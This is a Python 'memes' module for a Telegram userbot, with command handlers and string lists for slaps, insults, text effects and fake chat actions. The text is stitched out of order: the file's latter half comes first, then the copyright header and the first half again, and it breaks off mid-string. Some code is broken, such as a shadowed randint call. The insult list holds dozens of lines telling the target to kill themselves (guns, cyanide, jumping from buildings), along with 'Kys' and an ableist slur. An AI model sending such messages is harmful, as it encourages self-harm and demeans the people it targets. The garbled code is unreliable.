"ʕᵔᴥᵔʔ", "(`・ω・´)", "ʕ•ᴥ•ʔ", "ლ(`ー´ლ)", "ʕʘ̅͜ʘ̅ʔ", "( ゚Д゚)", r"¯\(°_o)/¯", "(。◕‿◕。)", ] RUNS_STR = [ "Runs to Thanos..", "Runs far, far away from earth..", "Running faster than Bolt coz i'mma userbot !!", "Runs to Marie..", "This Group is too cancerous to deal with.", "Cya bois", "Kys", "I go away", "I am just walking off, coz me is too fat.", "I Fugged off!", "Will run for chocolate.", "I run because I really like food.", "Running...\nbecause dieting is not an option.", "Wicked fast runnah", "If you wanna catch me, you got to be fast...\nIf you wanna stay with me, you got to be good...\nBut if you wanna pass me...\nYou've got to be kidding.", "Anyone can run a hundred meters, it's the next forty-two thousand and two hundred that count.", "Why are all these people following me?", "Are the kids still chasing me?", "Running a marathon...there's an app for that.", ] CHASE_STR = [ "Where do you think you're going?", "Huh? what? did they get away?", "ZZzzZZzz... Huh? what? oh, just them again, nevermind.", "`Get back here!`", "`Not so fast...`", "Look out for the wall!", "Don't leave me alone with them!!", "You run, you die.", "`Jokes on you, I'm everywhere`", "You're gonna regret that...", "You could also try /kickme, I hear that's fun.", "`Go bother someone else, no-one here cares.`", "You can run, but you can't hide.", "Is that all you've got?", "I'm behind you...", "You've got company!", "We can do this the easy way, or the hard way.", "You just don't get it, do you?", "Yeah, you better run!", "Please, remind me how much I care?", "I'd run faster if I were you.", "That's definitely the droid we're looking for.", "May the odds be ever in your favour.", "Famous last words.", "And they disappeared forever, never to be seen again.", "\"Oh, look at me! I'm so cool, I can run from a bot!\" - this person", "Yeah yeah, just tap /kickme already.", "Here, take this ring and head to Mordor while you're at it.", "Legend has it, they're still running...", "Unlike Harry Potter, your parents can't protect you from me.", "Fear leads to anger. Anger leads to hate. Hate leads to suffering. If you keep running in fear, you might " "be the next Vader.", "Multiple calculations later, I have decided my interest in your shenanigans is exactly 0.", "Legend has it, they're still running.", "Keep it up, not sure we want you here anyway.", "You're a wiza- Oh. Wait. You're not Harry, keep moving.", "NO RUNNING IN THE HALLWAYS!", "Hasta la vista, baby.", "Who let the dogs out?", "It's funny, because no one cares.", "Ah, what a waste. I liked that one.", "Frankly, my dear, I don't give a damn.", "My milkshake brings all the boys to yard... So run faster!", "You can't HANDLE the truth!", "A long time ago, in a galaxy far far away... Someone would've cared about that. Not anymore though.", "Hey, look at them! They're running from the inevitable banhammer... Cute.", "Han shot first. So will I.", "What are you running after, a white rabbit?", "As The Doctor would say... RUN!", ] HELLOSTR = [ "Hi !", "‘Ello, gov'nor!", "What’s crackin’?", "Howdy, howdy ,howdy!", "Hello, who's there, I'm talking.", "You know who this is.", "Yo!", "Whaddup.", "Greetings and salutations!", "Hello, sunshine!", "`Hey, howdy, hi!`", "What’s kickin’, little chicken?", "Peek-a-boo!", "Howdy-doody!", "`Hey there, freshman!`", "`I come in peace!`", "`I come for peace!`", "Ahoy, matey!", "`Hi !`", ] PROSTR = [ "`You is pro user.`", "`Pros here -_- Time to Leave`", "`Pros everywhere`", "`Pro Pro Pro ; What a tragedy`", ] NUBSTR = [ "`Only few here were Pro and then you join the Party`", "`Only few here were Pro and then you join the Party`", "`Only few here were Pro and then you join the Party`", "`Only few here were Pro and then you join the Party`", ] SHGS = [ "┐(´д`)┌", "┐(´~`)┌", "┐(´ー`)┌", "┐( ̄ヘ ̄)┌", "╮(╯∀╰)╭", "╮(╯_╰)╭", "┐(´д`)┌", "┐(´∀`)┌", "ʅ(́◡◝)ʃ", "┐(゚~゚)┌", "┐('д')┌", "┐(‘~`;)┌", "ヘ(´-`;)ヘ", "┐( -“-)┌", "ʅ(´◔౪◔)ʃ", "ヽ(゜~゜o)ノ", "ヽ(~~~ )ノ", "┐(~ー~;)┌", "┐(-。ー;)┌", r"¯\_(ツ)_/¯", r"¯\_(⊙_ʖ⊙)_/¯", r"¯\_༼ ಥ ‿ ಥ ༽_/¯", "乁( ⁰͡ Ĺ̯ ⁰͡ ) ㄏ", ] CRI = [ "أ‿أ", "╥﹏╥", "(;﹏;)", "(ToT)", "(┳Д┳)", "(ಥ﹏ಥ)", "(;へ:)", "(T_T)", "(πーπ)", "(T▽T)", "(⋟﹏⋞)", "(iДi)", "(´Д⊂ヽ", "(;Д;)", "(>﹏<)", "(TдT)", "(つ﹏⊂)", "༼☯﹏☯༽", "(ノ﹏ヽ)", "(ノAヽ)", "(╥_╥)", "(T⌓T)", "(༎ຶ⌑༎ຶ)", "(☍﹏⁰)。", "(ಥ_ʖಥ)", "(つд⊂)", "(≖͞_≖̥)", "(இ﹏இ`。)", "༼ಢ_ಢ༽", "༼ ༎ຶ ෴ ༎ຶ༽", ] SLAP_TEMPLATES = [ "{hits} {victim} with a {item}.", "{hits} {victim} in the face with a {item}.", "{hits} {victim} around a bit with a {item}.", "`{throws} a {item} at {victim}.`", "grabs a {item} and {throws} it at {victim}'s face.", "{hits} a {item} at {victim}.", "{throws} a few {item} at {victim}.", "grabs a {item} and {throws} it in {victim}'s face.", "launches a {item} in {victim}'s general direction.", "sits on {victim}'s face while slamming a {item} {where}.", "starts slapping {victim} silly with a {item}.", "pins {victim} down and repeatedly {hits} them with a {item}.", "grabs up a {item} and {hits} {victim} with it.", "starts slapping {victim} silly with a {item}.", "holds {victim} down and repeatedly {hits} them with a {item}.", "prods {victim} with a {item}.", "picks up a {item} and {hits} {victim} with it.", "`ties {victim} to a chair and {throws} a {item} at them.`", "{hits} {victim} {where} with a {item}.", "ties {victim} to a pole and whips them {where} with a {item}." "gave a friendly push to help {victim} learn to swim in lava.", "sent {victim} to /dev/null.", "sent {victim} down the memory hole.", "beheaded {victim}.", "threw {victim} off a building.", "replaced all of {victim}'s music with Nickelback.", "spammed {victim}'s email.", "made {victim} a knuckle sandwich.", "slapped {victim} with pure nothing.", "hit {victim} with a small, interstellar spaceship.", "quickscoped {victim}.", "put {victim} in check-mate.", "RSA-encrypted {victim} and deleted the private key.", "put {victim} in the friendzone.", "slaps {victim} with a DMCA takedown request!" ] ITEMS = [ "cast iron skillet", "large trout", "baseball bat", "cricket bat", "wooden cane", "nail", "printer", "shovel", "pair of trousers", "CRT monitor", "diamond sword", "baguette", "physics textbook", "toaster", "portrait of Richard Stallman", "television", "mau5head", "five ton truck", "roll of duct tape", "book", "laptop", "old television", "sack of rocks", "rainbow trout", "cobblestone block", "lava bucket", "rubber chicken", "spiked bat", "gold block", "fire extinguisher", "heavy rock", "chunk of dirt", "beehive", "piece of rotten meat", "bear", "ton of bricks", ] THROW = [ "throws", "flings", "chucks", "hurls", ] HIT = [ "hits", "whacks", "slaps", "smacks", "bashes", ] WHERE = ["in the chest", "on the head", "on the butt", "on the crotch"] # =========================================== @register(outgoing=True, pattern=r"^.(\w+)say (.*)") async def univsaye(cowmsg): """ For .cowsay module, userbot wrapper for cow which says things. """ arg = cowmsg.pattern_match.group(1).lower() text = cowmsg.pattern_match.group(2) if arg == "cow": arg = "default" if arg not in cow.COWACTERS: return cheese = cow.get_cow(arg) cheese = cheese() await cowmsg.edit(f"`{cheese.milk(text).replace("`", "´")}`") @register(outgoing=True, pattern="^:/$", ignore_unsafe=True) async def kek(keks): """ Check yourself ;)""" uio = ["/", "\\"] for i in range(1, 15): time.sleep(0.3) await keks.edit(":" + uio[i % 2]) @register(outgoing=True, pattern=r"^.coinflip (.*)") async def coin(event): r = choice(["heads", "tails"]) input_str = event.pattern_match.group(1) if input_str: input_str = input_str.lower() if r == "heads": if input_str == "heads": await event.edit( "The coin landed on: **Heads**.\nYou were correct.") elif input_str == "tails": await event.edit( "The coin landed on: **Heads**.\nYou weren't correct, try again ..." ) else: await event.edit("The coin landed on: **Heads**.") elif r == "tails": if input_str == "tails": await event.edit( "The coin landed on: **Tails**.\nYou were correct.") elif input_str == "heads": await event.edit( "The coin landed on: **Tails**.\nYou weren't correct, try again ..." ) else: await event.edit("The coin landed on: **Tails**.") @register(pattern="^.slap(?: |$)(.*)", outgoing=True) async def who(event): """ slaps a user, or get slapped if not a reply. """ replied_user = await get_user_from_event(event) if replied_user: replied_user = replied_user[0] else: return caption = await slap(replied_user, event) try: await event.edit(caption) except BaseException: await event.edit( "`Can't slap this person, need to fetch some sticks and stones !!`" ) async def slap(replied_user, event): """ Construct a funny slap sentence !! """ user_id = replied_user.id first_name = replied_user.first_name username = replied_user.username if username: slapped = "@{}".format(username) else: slapped = f"[{first_name}](tg://user?id={user_id})" temp = choice(SLAP_TEMPLATES) item = choice(ITEMS) hit = choice(HIT) throw = choice(THROW) where = choice(WHERE) caption = "..." + temp.format( victim=slapped, item=item, hits=hit, throws=throw, where=where) return caption @register(outgoing=True, pattern="^-_-$", ignore_unsafe=True) async def lol(lel): """ Ok... """ okay = "-_-" for i in range(10): okay = okay[:-1] + "_-" await lel.edit(okay) @register(outgoing=True, pattern="^.(yes|no|maybe|decide)$") async def decide(event): decision = event.pattern_match.group(1).lower() message_id = event.reply_to_msg_id if event.reply_to_msg_id else None if decision != "decide": r = requests.get(f"https://yesno.wtf/api?force={decision}").json() else: r = requests.get(f"https://yesno.wtf/api").json() await event.delete() await event.client.send_message(event.chat_id, str(r["answer"]).upper(), reply_to=message_id, file=r["image"]) @register(outgoing=True, pattern="^;_;$", ignore_unsafe=True) async def fun(e): t = ";_;" for j in range(10): t = t[:-1] + "_;" await e.edit(t) @register(outgoing=True, pattern="^.fp$") async def facepalm(e): """ Facepalm 🤦‍♂ """ await e.edit("🤦‍♂") @register(outgoing=True, pattern="^.cry$") async def cry(e): """ y u du dis, i cry everytime !! """ await e.edit(choice(CRI)) @register(outgoing=True, pattern="^.insult$") async def insult(e): """ I make you cry !! """ await e.edit(choice(INSULT_STRINGS)) @register(outgoing=True, pattern="^.cp(?: |$)(.*)") async def copypasta(cp_e): """ Copypasta the famous meme """ textx = await cp_e.get_reply_message() message = cp_e.pattern_match.group(1) if message: pass elif textx: message = textx.text else: await cp_e.edit("`😂🅱️IvE👐sOME👅text👅for✌️Me👌tO👐MAkE👀iT💞funNy!💦`") return reply_text = choice(EMOJIS) # choose a random character in the message to be substituted with 🅱️ b_char = choice(message).lower() for owo in message: if owo == " ": reply_text += choice(EMOJIS) elif owo in EMOJIS: reply_text += owo reply_text += choice(EMOJIS) elif owo.lower() == b_char: reply_text += "🅱️" else: if bool(getrandbits(1)): reply_text += owo.upper() else: reply_text += owo.lower() reply_text += choice(EMOJIS) await cp_e.edit(reply_text) @register(outgoing=True, pattern="^.vapor(?: |$)(.*)") async def vapor(vpr): """ Vaporize everything! """ reply_text = list() textx = await vpr.get_reply_message() message = vpr.pattern_match.group(1) if message: pass elif textx: message = textx.text else: await vpr.edit("`Give some text for vapor!`") return for charac in message: if 0x21 <= ord(charac) <= 0x7F: reply_text.append(chr(ord(charac) + 0xFEE0)) elif ord(charac) == 0x20: reply_text.append(chr(0x3000)) else: reply_text.append(charac) await vpr.edit("".join(reply_text)) @register(outgoing=True, pattern="^.str(?: |$)(.*)") async def stretch(stret): """ Stretch it.""" textx = await stret.get_reply_message() message = stret.text message = stret.pattern_match.group(1) if message: pass elif textx: message = textx.text else: await stret.edit("`GiiiiiiiB sooooooomeeeeeee teeeeeeext!`") return count = randint(3, 10) reply_text = sub(r"([aeiouAEIOUaeiouAEIOUаеиоуюяыэё])", (r"\1" * count), message) await stret.edit(reply_text) @register(outgoing=True, pattern="^.zal(?: |$)(.*)") async def zal(zgfy): """ Invoke the feeling of chaos. """ reply_text = list() textx = await zgfy.get_reply_message() message = zgfy.pattern_match.group(1) if message: pass elif textx: message = textx.text else: await zgfy.edit( "`gͫ ̆ i̛ ̺ v͇̆ ȅͅ a̢ͦ s̴̪ c̸̢ ä̸ rͩͣ y͖͞ t̨͚ é̠ x̢͖ t͔͛`" ) return for charac in message: if not charac.isalpha(): reply_text.append(charac) continue for _ in range(0, 3): randint = randint(0, 2) if randint == 0: charac = charac.strip() + \ choice(ZALG_LIST[0]).strip() elif randint == 1: charac = charac.strip() + \ choice(ZALG_LIST[1]).strip() else: charac = charac.strip() + \ choice(ZALG_LIST[2]).strip() reply_text.append(charac) await zgfy.edit("".join(reply_text)) @register(outgoing=True, pattern="^.hi$") async def hoi(hello): """ Greet everyone! """ await hello.edit(choice(HELLOSTR)) @register(outgoing=True, pattern="^.pro$") async def pero(proo): """ Greet everyone! """ await proo.edit(choice(PROSTR)) @register(outgoing=True, pattern="^.nub$") async def noob(nubdo): """ Greet everyone! """ await nubdo.edit(choice(NUBSTR)) @register(outgoing=True, pattern="^.owo(?: |$)(.*)") async def faces(owo): """ UwU """ textx = await owo.get_reply_message() message = owo.pattern_match.group(1) if message: pass elif textx: message = textx.text else: await owo.edit("` UwU no text given! `") return reply_text = sub(r"(r|l)", "w", message) reply_text = sub(r"(R|L)", "W", reply_text) reply_text = sub(r"n([aeiou])", r"ny\1", reply_text) reply_text = sub(r"N([aeiouAEIOU])", r"Ny\1", reply_text) reply_text = sub(r"\!+", " " + choice(UWUS), reply_text) reply_text = reply_text.replace("ove", "uv") reply_text += " " + choice(UWUS) await owo.edit(reply_text) @register(outgoing=True, pattern="^.react$") async def react_meme(react): """ Make your userbot react to everything. """ await react.edit(choice(FACEREACTS)) @register(outgoing=True, pattern="^.shg$") async def shrugger(shg): r""" ¯\_(ツ)_/¯ """ await shg.edit(choice(SHGS)) @register(outgoing=True, pattern="^.chase$") async def police(chase): """ Run boi run, i'm gonna catch you !! """ await chase.edit(choice(CHASE_STR)) @register(outgoing=True, pattern="^.run$") async def runner_lol(run): """ Run, run, RUNNN! """ await run.edit(choice(RUNS_STR)) @register(outgoing=True, pattern="^.metoo$") async def metoo(hahayes): """ Haha yes """ await hahayes.edit(choice(METOOSTR)) @register(outgoing=True, pattern="^.Oof$") async def Oof(e): t = "Oof" for j in range(16): t = t[:-1] + "of" await e.edit(t) @register(outgoing=True, pattern="^.oem$") async def Oem(e): t = "Oem" for j in range(16): t = t[:-1] + "em" await e.edit(t) @register(outgoing=True, pattern="^.Oem$") async def Oem(e): t = "Oem" for j in range(16): t = t[:-1] + "em" await e.edit(t) @register(outgoing=True, pattern="^.10iq$") async def iqless(e): await e.edit("♿") @register(outgoing=True, pattern="^.moon$") async def moon(event): deq = deque(list("🌗🌘🌑🌒🌓🌔🌕🌖")) try: for x in range(32): await sleep(0.1) await event.edit("".join(deq)) deq.rotate(1) except BaseException: return @register(outgoing=True, pattern="^.clock$") async def clock(event): deq = deque(list("🕙🕘🕗🕖🕕🕔🕓🕒🕑🕐🕛")) try: for x in range(32): await sleep(0.1) await event.edit("".join(deq)) deq.rotate(1) except BaseException: return @register(outgoing=True, pattern="^.mock(?: |$)(.*)") async def spongemocktext(mock): """ Do it and find the real fun. """ reply_text = list() textx = await mock.get_reply_message() message = mock.pattern_match.group(1) if message: pass elif textx: message = textx.text else: await mock.edit("`gIvE sOMEtHInG tO MoCk!`") return for charac in message: if charac.isalpha() and randint(0, 1): to_app = charac.upper() if charac.islower() else charac.lower() reply_text.append(to_app) else: reply_text.append(charac) await mock.edit("".join(reply_text)) @register(outgoing=True, pattern="^.clap(?: |$)(.*)") async def claptext(memereview): """ Praise people! """ textx = await memereview.get_reply_message() message = memereview.pattern_match.group(1) if message: pass elif textx: message = textx.text else: await memereview.edit("`Hah, I don't clap pointlessly!`") return reply_text = "👏 " reply_text += message.replace(" ", " 👏 ") reply_text += " 👏" await memereview.edit(reply_text) @register(outgoing=True, pattern="^.bt$") async def bluetext(bt_e): """ Believe me, you will find this useful. """ if await bt_e.get_reply_message() and bt_e.is_group: await bt_e.edit( "/BLUETEXT /MUST /CLICK.\n" "/ARE /YOU /A /STUPID /ANIMAL /WHICH /IS /ATTRACTED /TO /COLOURS?") @register(outgoing=True, pattern=r"^.f (.*)") async def payf(event): paytext = event.pattern_match.group(1) pay = "{}\n{}\n{}\n{}\n{}\n{}\n{}\n{}\n{}\n{}\n{}\n{}".format( paytext * 8, paytext * 8, paytext * 2, paytext * 2, paytext * 2, paytext * 6, paytext * 6, paytext * 2, paytext * 2, paytext * 2, paytext * 2, paytext * 2) await event.edit(pay) @register(outgoing=True, pattern="^.lfy (.*)") async def let_me_google_that_for_you(lmgtfy_q): textx = await lmgtfy_q.get_reply_message() qry = lmgtfy_q.pattern_match.group(1) if qry: query = str(qry) elif textx: query = textx query = query.message query_encoded = query.replace(" ", "+") lfy_url = f"http://lmgtfy.com/?s=g&iie=1&q={query_encoded}" payload = {'format': 'json', 'url': lfy_url} r = requests.get('http://is.gd/create.php', params=payload) await lmgtfy_q.edit(f"Here you are, help yourself.\ \n[{query}]({r.json()['shorturl']})") @register(pattern=r".scam(?: |$)(.*)", outgoing=True) async def scam(event): """ Just a small command to fake chat actions for fun !! """ options = [ 'typing', 'contact', 'game', 'location', 'voice', 'round', 'video', 'photo', 'document', 'cancel' ] input_str = event.pattern_match.group(1) args = input_str.split() if len(args) == 0: # Let bot decide action and time scam_action = choice(options) scam_time = randint(30, 60) elif len(args) == 1: # User decides time/action, bot decides the other. try: scam_action = str(args[0]).lower() scam_time = randint(30, 60) except ValueError: scam_action = choice(options) scam_time = int(args[0]) elif len(args) == 2: # User decides both action and time scam_action = str(args[0]).lower() scam_time = int(args[1]) else: await event.edit("`Invalid Syntax !!`") return try: if (scam_time > 0): await event.delete() async with event.client.action(event.chat_id, scam_action): await sleep(scam_time) except BaseException: return @register(pattern=r".type(?: |$)(.*)", outgoing=True) async def typewriter(typew): """ Just a small command to make your keyboard become a typewriter! """ textx = await typew.get_reply_message() message = typew.pattern_match.group(1) if message: pass elif textx: message = textx.text else: await typew.edit("`Give a text to type!`") return sleep_time = 0.03 typing_symbol = "|" old_text = "" await typew.edit(typing_symbol) await sleep(sleep_time) for character in message: old_text = old_text + "" + character typing_text = old_text + "" + typing_symbol await typew.edit(typing_text) await sleep(sleep_time) await typew.edit(old_text) await sleep(sleep_time) CMD_HELP.update({ "memes": ".cowsay\ \nUsage: cow which says things.\ \n\n:/\ \nUsage: Check yourself ;)\ \n\n-_-\ \nUsage: Ok...\ \n\n;_;\ \nUsage: Like `-_-` but crying.\ \n\n.cp\ \nUsage: Copypasta the famous meme\ \n\n.vapor\ \nUsage: Vaporize everything!\ \n\n.str\ \nUsage: Stretch it.\ \n\n.10iq\ \nUsage: You retard !!\ \n\n.zal\ \nUsage: Invoke the feeling of chaos.\ \n\nOem\ \nUsage: Oeeeem\ \n\nOof\ \nUsage: Ooooof\ \n\n.fp\ \nUsage: Facepalm :P\ \n\n.moon\ \nUsage: kensar moon animation.\ \n\n.clock\ \nUsage: kensar clock animation.\ \n\n.hi\ \nUsage: Greet everyone!\ \n\n.coinflip <heads/tails>\ \nUsage: Flip a coin !!\ \n\n.owo\ \nUsage: UwU\ \n\n.react\ \nUsage: Make your userbot react to everything.\ \n\n.slap\ \nUsage: reply to slap them with random objects !!\ \n\n.cry\ \nUsage: y u du dis, i cri.\ \n\n.shg\ \nUsage: Shrug at it !!\ \n\n.run\ \nUsage: Let Me Run, run, RUNNN!\ \n\n.chase\ \nUsage: You better start running\ \n\n.metoo\ \nUsage: Haha yes\ \n\n.mock\ \nUsage: Do it and find the real fun.\ \n\n.clap\ \nUsage: Praise people!\ \n\n.f <emoji/character>\ \nUsage: Pay Respects.\ \n\n.bt\ \nUsage: Believe me, you will find this useful.\ \n\n.type\ \nUsage: Just a small command to make your keyboard become a typewriter!\ \n\n.lfy <query>\ \nUsage: Let me Google that for you real quick !!\ \n\n.decide [Alternates: (.yes, .no, .maybe)]\ \nUsage: Make a quick decision.\ \n\n.scam <action> <time>\ \n[Available Actions: (typing, contact, game, location, voice, round, video, photo, document, cancel)]\ \nUsage: Create fake chat actions, for fun. (Default action: typing)\ \n\n\nThanks to 🅱️ottom🅱️ext🅱️ot (@NotAMemeBot) for some of these." })
# Copyright (C) 2019 The Raphielscape Company LLC. # # Licensed under the Raphielscape Public License, Version 1.c (the "License"); # you may not use this file except in compliance with the License. """ Userbot module for having some fun with people. """ from asyncio import sleep from random import choice, getrandbits, randint from re import sub import time from collections import deque import requests from cowpy import cow from userbot import CMD_HELP from userbot.events import register from userbot.modules.admin import get_user_from_event # ================= CONSTANT ================= METOOSTR = [ "Me too thanks", "Haha yes, me too", "Same lol", "Me irl", "Same here", "Haha yes", "Me rn", ] ZALG_LIST = [[ "̖", " ̗", " ̘", " ̙", " ̜", " ̝", " ̞", " ̟", " ̠", " ̤", " ̥", " ̦", " ̩", " ̪", " ̫", " ̬", " ̭", " ̮", " ̯", " ̰", " ̱", " ̲", " ̳", " ̹", " ̺", " ̻", " ̼", " ͅ", " ͇", " ͈", " ͉", " ͍", " ͎", " ͓", " ͔", " ͕", " ͖", " ͙", " ͚", " ", ], [ " ̍", " ̎", " ̄", " ̅", " ̿", " ̑", " ̆", " ̐", " ͒", " ͗", " ͑", " ̇", " ̈", " ̊", " ͂", " ̓", " ̈́", " ͊", " ͋", " ͌", " ̃", " ̂", " ̌", " ͐", " ́", " ̋", " ̏", " ̽", " ̉", " ͣ", " ͤ", " ͥ", " ͦ", " ͧ", " ͨ", " ͩ", " ͪ", " ͫ", " ͬ", " ͭ", " ͮ", " ͯ", " ̾", " ͛", " ͆", " ̚", ], [ " ̕", " ̛", " ̀", " ́", " ͘", " ̡", " ̢", " ̧", " ̨", " ̴", " ̵", " ̶", " ͜", " ͝", " ͞", " ͟", " ͠", " ͢", " ̸", " ̷", " ͡", ]] EMOJIS = [ "😂", "😂", "👌", "✌", "💞", "👍", "👌", "💯", "🎶", "👀", "😂", "👓", "👏", "👐", "🍕", "💥", "🍴", "💦", "💦", "🍑", "🍆", "😩", "😏", "👉👌", "👀", "👅", "😩", "🚰", ] INSULT_STRINGS = [ "Owww ... Such a stupid idiot.", "Don't drink and type.", "I think you should go home or better a mental asylum.", "Command not found. Just like your brain.", "Do you realize you are making a fool of yourself? Apparently not.", "You can type better than that.", "Bot rule 544 section 9 prevents me from replying to stupid humans like you.", "Sorry, we do not sell brains.", "Believe me you are not normal.", "I bet your brain feels as good as new, seeing that you never use it.", "If I wanted to kill myself I'd climb your ego and jump to your IQ.", "Zombies eat brains... you're safe.", "You didn't evolve from apes, they evolved from you.", "Come back and talk to me when your I.Q. exceeds your age.", "I'm not saying you're stupid, I'm just saying you've got bad luck when it comes to thinking.", "What language are you speaking? Cause it sounds like bullshit.", "Stupidity is not a crime so you are free to go.", "You are proof that evolution CAN go in reverse.", "I would ask you how old you are but I know you can't count that high.", "As an outsider, what do you think of the human race?", "Brains aren't everything. In your case they're nothing.", "Ordinarily people live and learn. You just live.", "I don't know what makes you so stupid, but it really works.", "Keep talking, someday you'll say something intelligent! (I doubt it though)", "Shock me, say something intelligent.", "Your IQ's lower than your shoe size.", "Alas! Your neurotransmitters are no more working.", "Are you crazy you fool.", "Everyone has the right to be stupid but you are abusing the privilege.", "I'm sorry I hurt your feelings when I called you stupid. I thought you already knew that.", "You should try tasting cyanide.", "Your enzymes are meant to digest rat poison.", "You should try sleeping forever.", "Pick up a gun and shoot yourself.", "You could make a world record by jumping from a plane without parachute.", "Stop talking BS and jump in front of a running bullet train.", "Try bathing with Hydrochloric Acid instead of water.", "Try this: if you hold your breath underwater for an hour, you can then hold it forever.", "Go Green! Stop inhaling Oxygen.", "God was searching for you. You should leave to meet him.", "give your 100%. Now, go donate blood.", "Try jumping from a hundred story building but you can do it only once.", "You should donate your brain seeing that you never used it.", "Volunteer for target in an firing range.", "Head shots are fun. Get yourself one.", "You should try swimming with great white sharks.", "You should paint yourself red and run in a bull marathon.", "You can stay underwater for the rest of your life without coming back up.", "How about you stop breathing for like 1 day? That'll be great.", "Try provoking a tiger while you both are in a cage.", "Have you tried shooting yourself as high as 100m using a canon.", "You should try holding TNT in your mouth and igniting it.", "Try playing catch and throw with RDX its fun.", "I heard phogine is poisonous but i guess you wont mind inhaling it for fun.", "Launch yourself into outer space while forgetting oxygen on Earth.", "You should try playing snake and ladders, with real snakes and no ladders.", "Dance naked on a couple of HT wires.", "Active Volcano is the best swimming pool for you.", "You should try hot bath in a volcano.", "Try to spend one day in a coffin and it will be yours forever.", "Hit Uranium with a slow moving neutron in your presence. It will be a worthwhile experience.", "You can be the first person to step on sun. Have a try.", ] UWUS = [ "(・`ω´・)", ";;w;;", "owo", "UwU", ">w<", "^w^", r"\(^o\) (/o^)/", "( ^ _ ^)∠☆", "(ô_ô)", "~:o", ";-;", "(*^*)", "(>_", "(♥_♥)", "*(^O^)*", "((+_+))", ] FACEREACTS = [ "ʘ‿ʘ", "ヾ(-_- )ゞ", "(っ˘ڡ˘ς)", "(´ж`ς)", "( ಠ ʖ̯ ಠ)", "(° ͜ʖ͡°)╭∩╮", "(ᵟຶ︵ ᵟຶ)", "(งツ)ว", "ʚ(•`", "(っ▀¯▀)つ", "(◠﹏◠)", "( ͡ಠ ʖ̯ ͡ಠ)", "( ఠ ͟ʖ ఠ)", "(∩`-´)⊃━☆゚.*・。゚", "(⊃。•́‿•̀。)⊃", "(._.)", "{•̃_•̃}", "(ᵔᴥᵔ)", "♨_♨", "⥀.⥀", "ح˚௰˚づ ", "(҂◡_◡)", "ƪ(ړײ)‎ƪ​​", "(っ•́。•́)♪♬", "◖ᵔᴥᵔ◗ ♪ ♫ ", "(☞゚ヮ゚)☞", "[¬º-°]¬", "(Ծ‸ Ծ)", "(•̀ᴗ•́)و ̑̑", "ヾ(´〇`)ノ♪♪♪", "(ง'̀-'́)ง", "ლ(•́•́ლ)", "ʕ •́؈•̀ ₎", "♪♪ ヽ(ˇ∀ˇ )ゞ", "щ(゚Д゚щ)", "( ˇ෴ˇ )", "눈_눈", "(๑•́ ₃ •̀๑) ", "( ˘ ³˘)♥ ", "ԅ(≖‿≖ԅ)", "♥‿♥", "◔_◔", "⁽⁽ଘ( ˊᵕˋ )ଓ⁾⁾", "乁( ◔ ౪◔)「 ┑( ̄Д  ̄)┍", "( ఠൠఠ )ノ", "٩(๏_๏)۶", "┌(ㆆ㉨ㆆ)ʃ", "ఠ_ఠ", "(づ。◕‿‿◕。)づ", "(ノಠ ∩ಠ)ノ彡( \\o°o)\\", "“ヽ(´▽`)ノ”", "༼ ༎ຶ ෴ ༎ຶ༽", "。゚( ゚இ‸இ゚)゚。", "(づ ̄ ³ ̄)づ", "(⊙.☉)7", "ᕕ( ᐛ )ᕗ", "t(-_-t)", "(ಥ⌣ಥ)", "ヽ༼ ಠ益ಠ ༽ノ", "༼∵༽ ༼⍨༽ ༼⍢༽ ༼⍤༽", "ミ●﹏☉ミ", "(⊙_◎)", "¿ⓧ_ⓧﮌ", "ಠ_ಠ", "(´・_・`)", "ᕦ(ò_óˇ)ᕤ", "⊙﹏⊙", "(╯°□°)╯︵ ┻━┻", r"¯\_(⊙︿⊙)_/¯", "٩◔̯◔۶", "°‿‿°", "ᕙ(⇀‸↼‶)ᕗ", "⊂(◉‿◉)つ", "V•ᴥ•V", "q(❂‿❂)p", "ಥ_ಥ", "ฅ^•ﻌ•^ฅ", "ಥ﹏ಥ", "( ^_^)o自自o(^_^ )", "ಠ‿ಠ", "ヽ(´▽`)/", "ᵒᴥᵒ#", "( ͡° ͜ʖ ͡°)", "┬─┬ ノ( ゜-゜ノ)", "ヽ(´ー`)ノ", "☜(⌒▽⌒)☞", "ε=ε=ε=┌(;*´Д`)ノ", "(╬ ಠ益ಠ)", "┬─┬⃰͡ (ᵔᵕᵔ͜ )", "┻━┻ ︵ヽ(`Д´)ノ︵ ┻━┻", r"¯\_(ツ)_/¯", "ʕᵔᴥᵔʔ", "(`・ω・´)", "ʕ•ᴥ•ʔ", "ლ(`ー´ლ)", "ʕʘ̅͜ʘ̅ʔ", "( ゚Д゚)", r"¯\(°_o)/¯", "(。◕‿◕。)", ] RUNS_STR = [ "Runs to Thanos..", "Runs far, far away from earth..", "Running faster than Bolt coz i'mma userbot !!", "Runs to Marie..", "This Group is too cancerous to deal with.", "Cya bois", "Kys", "I go away", "I am just walking off, coz me is too fat.", "I Fugged off!", "Will run for chocolate.", "I run because I really like food.", "Running...\nbecause dieting is not an option.", "Wicked fast runnah", "If you wanna catch me, you got to be fast...\nIf you wanna stay with me, you got to be good...\nBut if you wanna pass me...\nYou've got to be kidding.", "Anyone can run a hundred meters, it's the next forty-two thousand and two hundred that count.", "Why are all these people following me?", "Are the kids still chasing me?", "Running a marathon...there's an app for that.", ] CHASE_STR = [ "Where do you think you're going?", "Huh? what? did they get away?", "ZZzzZZzz... Huh? what? oh, just them again, nevermind.", "`Get back here!`", "`Not so fast...`", "Look out for the wall!", "Don't leave me alone with them!!", "You run, you die.", "`Jokes on you, I'm everywhere`", "You're gonna regret that...", "You could also try /kickme, I hear that's fun.", "`Go bother someone else, no-one here cares.`", "You can run, but you can't hide.", "Is that all you've got?", "I'm behind you...", "You've got company!", "We can do this the easy way, or the hard way.", "You just don't get it, do you?", "Yeah, you better run!", "Please, remind me how much I care?", "I'd run faster if I were you.", "That's definitely the droid we're looking for.", "May the odds be ever in your favour.", "Famous last words.", "And they disappeared forever, never to be seen again.", "\"Oh, look at me! I'm so cool, I can run from a bot!\" - this person", "Yeah yeah, just tap /kickme already.", "Here, take this ring and head to Mordor while you're at it.", "Legend has it, they're still running...", "Unlike Harry Potter, your parents can't protect you from me.", "Fear leads to anger. Anger leads to hate. Hate leads to suffering. If you keep running in fear, you might " "be the next Vader.", "Multiple calculations later, I have decided my interest in your shenanigans is exactly 0.", "Legend has it, they're still running.", "Keep it up, not sure we want you here anyway.", "You're a wiza- Oh. Wait. You're not Harry, keep moving.", "NO RUNNING IN THE HALLWAYS!", "Hasta la vista, baby.", "Who let the dogs out?", "It's funny, because no one cares.", "Ah, what a waste. I liked that one.", "Frankly, my dear, I don't give a damn.", "My milkshake brings all the boys to yard... So run faster!", "You can't HANDLE the truth!", "A long 